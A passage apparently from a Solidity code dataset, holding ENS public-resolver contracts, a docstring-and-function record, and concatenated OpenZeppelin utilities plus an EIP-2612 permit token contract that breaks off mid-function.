* @param node The node to update.
* @param interfaceID The EIP 165 interface ID.
* @param implementer The address of a contract that implements this interface for this node.
*/
function setInterface(bytes32 node, bytes4 interfaceID, address implementer) external authorised(node) {
interfaces[node][interfaceID] = implementer;
emit InterfaceChanged(node, interfaceID, implementer);
}
/**
* Returns the address of a contract that implements the specified interface for this name.
* If an implementer has not been set for this interfaceID and name, the resolver will query
* the contract at `addr()`. If `addr()` is set, a contract exists at that address, and that
* contract implements EIP165 and returns `true` for the specified interfaceID, its address
* will be returned.
* @param node The ENS node to query.
* @param interfaceID The EIP 165 interface ID to check for.
* @return The address that implements this interface, or 0 if the interface is unsupported.
*/
function interfaceImplementer(bytes32 node, bytes4 interfaceID) external view returns (address) {
address implementer = interfaces[node][interfaceID];
if(implementer != address(0)) {
return implementer;
}
address a = addr(node);
if(a == address(0)) {
return address(0);
}
(bool success, bytes memory returnData) = a.staticcall(abi.encodeWithSignature("supportsInterface(bytes4)", INTERFACE_META_ID));
if(!success || returnData.length < 32 || returnData[31] == 0) {
// EIP 165 not supported by target
return address(0);
}
(success, returnData) = a.staticcall(abi.encodeWithSignature("supportsInterface(bytes4)", interfaceID));
if(!success || returnData.length < 32 || returnData[31] == 0) {
// Specified interface not supported by target
return address(0);
}
return a;
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == INTERFACE_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
pragma solidity ^0.5.0;
contract NameResolver is ResolverBase {
bytes4 constant private NAME_INTERFACE_ID = 0x691f3431;
event NameChanged(bytes32 indexed node, string name);
mapping(bytes32=>string) names;
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string calldata name) external authorised(node) {
names[node] = name;
emit NameChanged(node, name);
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) external view returns (string memory) {
return names[node];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == NAME_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
pragma solidity ^0.5.0;
contract PubkeyResolver is ResolverBase {
bytes4 constant private PUBKEY_INTERFACE_ID = 0xc8690233;
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
struct PublicKey {
bytes32 x;
bytes32 y;
}
mapping(bytes32=>PublicKey) pubkeys;
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) external authorised(node) {
pubkeys[node] = PublicKey(x, y);
emit PubkeyChanged(node, x, y);
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) external view returns (bytes32 x, bytes32 y) {
return (pubkeys[node].x, pubkeys[node].y);
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == PUBKEY_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
pragma solidity ^0.5.0;
contract TextResolver is ResolverBase {
bytes4 constant private TEXT_INTERFACE_ID = 0x59d1d43c;
event TextChanged(bytes32 indexed node, string indexed indexedKey, string key);
mapping(bytes32=>mapping(string=>string)) texts;
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string calldata key, string calldata value) external authorised(node) {
texts[node][key] = value;
emit TextChanged(node, key, key);
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string calldata key) external view returns (string memory) {
return texts[node][key];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == TEXT_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
pragma solidity ^0.5.0;
/**
* A simple resolver anyone can use; only allows the owner of a node to set its
* address.
*/
contract PublicResolver is ABIResolver, AddrResolver, ContentHashResolver, DNSResolver, InterfaceResolver, NameResolver, PubkeyResolver, TextResolver {
ENS ens;
/**
* A mapping of authorisations. An address that is authorised for a name
* may make any changes to the name that the owner could, but may not update
* the set of authorisations.
* (node, owner, caller) => isAuthorised
*/
mapping(bytes32=>mapping(address=>mapping(address=>bool))) public authorisations;
event AuthorisationChanged(bytes32 indexed node, address indexed owner, address indexed target, bool isAuthorised);
constructor(ENS _ens) public {
ens = _ens;
}
/**
* @dev Sets or clears an authorisation.
* Authorisations are specific to the caller. Any account can set an authorisation
* for any name, but the authorisation that is checked will be that of the
* current owner of a name. Thus, transferring a name effectively clears any
* existing authorisations, and new authorisations can be set in advance of
* an ownership transfer if desired.
*
* @param node The name to change the authorisation on.
* @param target The address that is to be authorised or deauthorised.
* @param isAuthorised True if the address should be authorised, or false if it should be deauthorised.
*/
function setAuthorisation(bytes32 node, address target, bool isAuthorised) external {
authorisations[node][msg.sender][target] = isAuthorised;
emit AuthorisationChanged(node, msg.sender, target, isAuthorised);
}
function isAuthorised(bytes32 node) internal view returns(bool) {
address owner = ens.owner(node);
return owner == msg.sender || authorisations[node][owner][msg.sender];
}
}
|
Returns the address of a contract that implements the specified interface for this name. If an implementer has not been set for this interfaceID and name, the resolver will query the contract at `addr()`. If `addr()` is set, a contract exists at that address, and that contract implements EIP165 and returns `true` for the specified interfaceID, its address will be returned. node The ENS node to query. interfaceID The EIP 165 interface ID to check for. return The address that implements this interface, or 0 if the interface is unsupported./ EIP 165 not supported by target Specified interface not supported by target
|
function interfaceImplementer(bytes32 node, bytes4 interfaceID) external view returns (address) {
address implementer = interfaces[node][interfaceID];
if(implementer != address(0)) {
return implementer;
}
address a = addr(node);
if(a == address(0)) {
return address(0);
}
(bool success, bytes memory returnData) = a.staticcall(abi.encodeWithSignature("supportsInterface(bytes4)", INTERFACE_META_ID));
if(!success || returnData.length < 32 || returnData[31] == 0) {
return address(0);
}
(success, returnData) = a.staticcall(abi.encodeWithSignature("supportsInterface(bytes4)", interfaceID));
if(!success || returnData.length < 32 || returnData[31] == 0) {
return address(0);
}
return a;
}
| 15,589 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/// @notice Implementation of [EIP-1167] based on [clone-factory]
/// source code.
///
/// EIP 1167: https://eips.ethereum.org/EIPS/eip-1167
// Original implementation: https://github.com/optionality/clone-factory
// Modified to use ^0.8.5; instead of ^0.4.23 solidity version.
/* solhint-disable no-inline-assembly */
abstract contract CloneFactory {
/// @notice Creates EIP-1167 clone of the contract under the provided
/// `target` address. Returns address of the created clone.
/// @dev In specific circumstances, such as the `target` contract destroyed,
/// create opcode may return 0x0 address. The code calling this
/// function should handle this corner case properly.
function createClone(address target) internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
mstore(add(clone, 0x14), targetBytes)
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
result := create(0, clone, 0x37)
}
}
/// @notice Checks if the contract under the `query` address is a EIP-1167
/// clone of the contract under `target` address.
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IERC20WithPermit.sol";
import "./IReceiveApproval.sol";
/// @title ERC20WithPermit
/// @notice Burnable ERC20 token with EIP2612 permit functionality. User can
/// authorize a transfer of their token with a signature conforming
/// EIP712 standard instead of an on-chain transaction from their
/// address. Anyone can submit this signature on the user's behalf by
/// calling the permit function, as specified in EIP2612 standard,
/// paying gas fees, and possibly performing other actions in the same
/// transaction.
contract ERC20WithPermit is IERC20WithPermit, Ownable {
/// @notice The amount of tokens owned by the given account.
mapping(address => uint256) public override balanceOf;
/// @notice The remaining number of tokens that spender will be
/// allowed to spend on behalf of owner through `transferFrom` and
/// `burnFrom`. This is zero by default.
mapping(address => mapping(address => uint256)) public override allowance;
/// @notice Returns the current nonce for EIP2612 permission for the
/// provided token owner for a replay protection. Used to construct
/// EIP2612 signature provided to `permit` function.
mapping(address => uint256) public override nonces;
uint256 public immutable cachedChainId;
bytes32 public immutable cachedDomainSeparator;
/// @notice Returns EIP2612 Permit message hash. Used to construct EIP2612
/// signature provided to `permit` function.
bytes32 public constant override PERMIT_TYPEHASH =
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
/// @notice The amount of tokens in existence.
uint256 public override totalSupply;
/// @notice The name of the token.
string public override name;
/// @notice The symbol of the token.
string public override symbol;
/// @notice The decimals places of the token.
uint8 public constant override decimals = 18;
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
cachedChainId = block.chainid;
cachedDomainSeparator = buildDomainSeparator();
}
/// @notice Moves `amount` tokens from the caller's account to `recipient`.
/// @return True if the operation succeeded, reverts otherwise.
/// @dev Requirements:
/// - `recipient` cannot be the zero address,
/// - the caller must have a balance of at least `amount`.
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
/// @notice Moves `amount` tokens from `sender` to `recipient` using the
/// allowance mechanism. `amount` is then deducted from the caller's
/// allowance unless the allowance was made for `type(uint256).max`.
/// @return True if the operation succeeded, reverts otherwise.
/// @dev Requirements:
/// - `sender` and `recipient` cannot be the zero address,
/// - `sender` must have a balance of at least `amount`,
/// - the caller must have allowance for `sender`'s tokens of at least
/// `amount`.
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
uint256 currentAllowance = allowance[sender][msg.sender];
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"Transfer amount exceeds allowance"
);
_approve(sender, msg.sender, currentAllowance - amount);
}
_transfer(sender, recipient, amount);
return true;
}
/// @notice EIP2612 approval made with secp256k1 signature.
/// Users can authorize a transfer of their tokens with a signature
/// conforming EIP712 standard, rather than an on-chain transaction
/// from their address. Anyone can submit this signature on the
/// user's behalf by calling the permit function, paying gas fees,
/// and possibly performing other actions in the same transaction.
/// @dev The deadline argument can be set to `type(uint256).max to create
/// permits that effectively never expire. If the `amount` is set
/// to `type(uint256).max` then `transferFrom` and `burnFrom` will
/// not reduce an allowance.
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
/* solhint-disable-next-line not-rely-on-time */
require(deadline >= block.timestamp, "Permission expired");
// Validate `s` and `v` values for a malleability concern described in EIP2.
// Only signatures with `s` value in the lower half of the secp256k1
// curve's order and `v` value of 27 or 28 are considered valid.
require(
uint256(s) <=
0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"Invalid signature 's' value"
);
require(v == 27 || v == 28, "Invalid signature 'v' value");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == owner,
"Invalid signature"
);
_approve(owner, spender, amount);
}
/// @notice Creates `amount` tokens and assigns them to `account`,
/// increasing the total supply.
/// @dev Requirements:
/// - `recipient` cannot be the zero address.
function mint(address recipient, uint256 amount) external onlyOwner {
require(recipient != address(0), "Mint to the zero address");
beforeTokenTransfer(address(0), recipient, amount);
totalSupply += amount;
balanceOf[recipient] += amount;
emit Transfer(address(0), recipient, amount);
}
/// @notice Destroys `amount` tokens from the caller.
/// @dev Requirements:
/// - the caller must have a balance of at least `amount`.
function burn(uint256 amount) external override {
_burn(msg.sender, amount);
}
/// @notice Destroys `amount` of tokens from `account` using the allowance
/// mechanism. `amount` is then deducted from the caller's allowance
/// unless the allowance was made for `type(uint256).max`.
/// @dev Requirements:
/// - `account` must have a balance of at least `amount`,
/// - the caller must have allowance for `account`'s tokens of at least
/// `amount`.
function burnFrom(address account, uint256 amount) external override {
uint256 currentAllowance = allowance[account][msg.sender];
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"Burn amount exceeds allowance"
);
_approve(account, msg.sender, currentAllowance - amount);
}
_burn(account, amount);
}
/// @notice Calls `receiveApproval` function on spender previously approving
/// the spender to withdraw from the caller multiple times, up to
/// the `amount` amount. If this function is called again, it
/// overwrites the current allowance with `amount`. Reverts if the
/// approval reverted or if `receiveApproval` call on the spender
/// reverted.
/// @return True if both approval and `receiveApproval` calls succeeded.
/// @dev If the `amount` is set to `type(uint256).max` then
/// `transferFrom` and `burnFrom` will not reduce an allowance.
function approveAndCall(
address spender,
uint256 amount,
bytes memory extraData
) external override returns (bool) {
if (approve(spender, amount)) {
IReceiveApproval(spender).receiveApproval(
msg.sender,
amount,
address(this),
extraData
);
return true;
}
return false;
}
/// @notice Sets `amount` as the allowance of `spender` over the caller's
/// tokens.
/// @return True if the operation succeeded.
/// @dev If the `amount` is set to `type(uint256).max` then
/// `transferFrom` and `burnFrom` will not reduce an allowance.
/// Beware that changing an allowance with this method brings the risk
/// that someone may use both the old and the new allowance by
/// unfortunate transaction ordering. One possible solution to mitigate
/// this race condition is to first reduce the spender's allowance to 0
/// and set the desired value afterwards:
/// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
/// @notice Returns hash of EIP712 Domain struct with the token name as
/// a signing domain and token contract as a verifying contract.
/// Used to construct EIP2612 signature provided to `permit`
/// function.
/* solhint-disable-next-line func-name-mixedcase */
function DOMAIN_SEPARATOR() public view override returns (bytes32) {
// As explained in EIP-2612, if the DOMAIN_SEPARATOR contains the
// chainId and is defined at contract deployment instead of
// reconstructed for every signature, there is a risk of possible replay
// attacks between chains in the event of a future chain split.
// To address this issue, we check the cached chain ID against the
// current one and in case they are different, we build domain separator
// from scratch.
if (block.chainid == cachedChainId) {
return cachedDomainSeparator;
} else {
return buildDomainSeparator();
}
}
/// @dev Hook that is called before any transfer of tokens. This includes
/// minting and burning.
///
/// Calling conditions:
/// - when `from` and `to` are both non-zero, `amount` of `from`'s tokens
/// will be to transferred to `to`.
/// - when `from` is zero, `amount` tokens will be minted for `to`.
/// - when `to` is zero, `amount` of ``from``'s tokens will be burned.
/// - `from` and `to` are never both zero.
// slither-disable-next-line dead-code
function beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _burn(address account, uint256 amount) internal {
uint256 currentBalance = balanceOf[account];
require(currentBalance >= amount, "Burn amount exceeds balance");
beforeTokenTransfer(account, address(0), amount);
balanceOf[account] = currentBalance - amount;
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "Transfer from the zero address");
require(recipient != address(0), "Transfer to the zero address");
require(recipient != address(this), "Transfer to the token address");
beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = balanceOf[sender];
require(senderBalance >= amount, "Transfer amount exceeds balance");
balanceOf[sender] = senderBalance - amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "Approve from the zero address");
require(spender != address(0), "Approve to the zero address");
